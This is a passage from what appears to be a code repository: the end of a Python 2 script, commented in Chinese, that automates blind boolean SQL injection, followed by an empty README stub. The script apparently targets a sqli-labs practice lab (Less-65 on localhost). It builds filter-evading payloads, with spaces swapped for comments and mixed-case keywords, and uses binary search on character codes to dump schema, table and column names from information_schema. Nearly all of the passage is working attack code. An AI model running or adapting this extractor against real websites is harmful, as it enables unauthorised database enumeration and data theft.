TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(temppayload): 49 | temppayload = temppayload.replace(" ","/**/") 50 | # temppayload = temppayload.replace("or","oorr") 51 | # temppayload = temppayload.replace("and","anandd") 52 | return temppayload 53 | 54 | def getRandomType(keywords): 55 | # TODO 返回随机大小写 56 | return "" 57 | 58 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 59 | global payload 60 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 61 | startStr = payload.split("()")[0] 62 | endStr = payload.split("()")[1] 63 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 64 | temppayload = "((asCIi(sUBString((sELEct " + column_name + " FRom " + database_name + "." + table_name + " " + where + " liMit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 65 | temppayload = startStr + temppayload + endStr 66 | # temper 67 | temppayload = temper(temppayload) 68 | return temppayload 69 | 70 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 71 | global success_symbol 72 | global url 73 | # content-start 74 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 75 | # print tempurl 76 | content = requests.get(tempurl).text 77 | # print content 78 | # content-end 79 | # judge-start 80 | if success_symbol in content: 81 | return True 82 | else: 83 | return False 84 | # judge-end 85 | 86 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 87 | while left_number < right_number: 88 | mid = int((left_number + right_number) / 2) 89 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 90 | left_number = mid 91 | else: 92 | right_number = mid 93 | if left_number == right_number - 1: 94 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 95 | mid += 1 96 | break 97 | else: 98 | break 99 | return chr(mid) 100 | 101 | def getAllData(database_name, table_name, column_name, where): 102 | allData = [] 103 | for i in range(32): # 需要遍历的查询结果的数量 104 | counter = 0 105 | data = "" 106 | for j in range(32): # 结果的长度 107 | counter += 1 108 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 109 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 110 | break 111 | sys.stdout.write(temp) 112 | sys.stdout.flush() 113 | data += temp 114 | if counter == 1: # 当结果集的所有行都被遍历后退出 115 | break 116 | sys.stdout.write("\r\n") 117 | sys.stdout.flush() 118 | allData.append(data) 119 | return allData 120 | 121 | def getAllSchemaNames(): 122 | return getAllData(column_name="scheMA_Name", table_name="schemaTa", database_name="inforMATion_scheMa", where="") 123 | 124 | def getAllTableNames(schema_name): 125 | return getAllData(column_name="taBLE_NAmE", table_name="TabLes", database_name="inforMATion_scheMa", where="where(table_SCHEmA='" + schema_name + "')") 126 | 127 | def getAllColumnNames(schema_name, table_name): 128 | return getAllData(column_name="coLUmn_NAMe", table_name="cOLUmns", database_name="inforMATion_scheMa", where="where(tABle_NaME='" + table_name + "' and tABLe_sCHEma='" + schema_name + "')") 129 | 130 | 131 | def hack(): 132 | print "================================" 133 | print "正在获取所有数据库 ..." 134 | allSchemaNames = getAllSchemaNames() 135 | print "所有数据库名获取完毕 !" 136 | print "================================" 137 | print "正在获取所有数据库表名 ..." 138 | tempDic = {} 139 | allUserSchemaNames = [] 140 | for schema_name in allSchemaNames: 141 | print "--------------------------------" 142 | print "当前数据库 : " + schema_name + "\t", 143 | IS_SYSTEM_SCHEMA = False 144 | for system_schema_name in system_schema_names: 145 | if system_schema_name == schema_name: 146 | print "Mysql自带系统数据库 , 智能忽略 !" 147 | IS_SYSTEM_SCHEMA = True 148 | break 149 | if not IS_SYSTEM_SCHEMA: 150 | print "" 151 | allUserSchemaNames.append(schema_name) 152 | tempDic[schema_name] = getAllTableNames(schema_name) 153 | print "所有表名获取完毕!" 154 | print "================================" 155 | print "正在获取所有表列名 ..." 156 | for schema_name in allUserSchemaNames: 157 | print "--------------------------------" 158 | for table_name in tempDic[schema_name]: 159 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 160 | getAllColumnNames(schema_name, table_name) 161 | print "所有列名获取完毕!" 162 | print "================================" 163 | 164 | hack() 165 | ``` 166 | -------------------------------------------------------------------------------- /writeup/README.md: -------------------------------------------------------------------------------- 1 | # README 2 | --------------------------------------------------------------------------------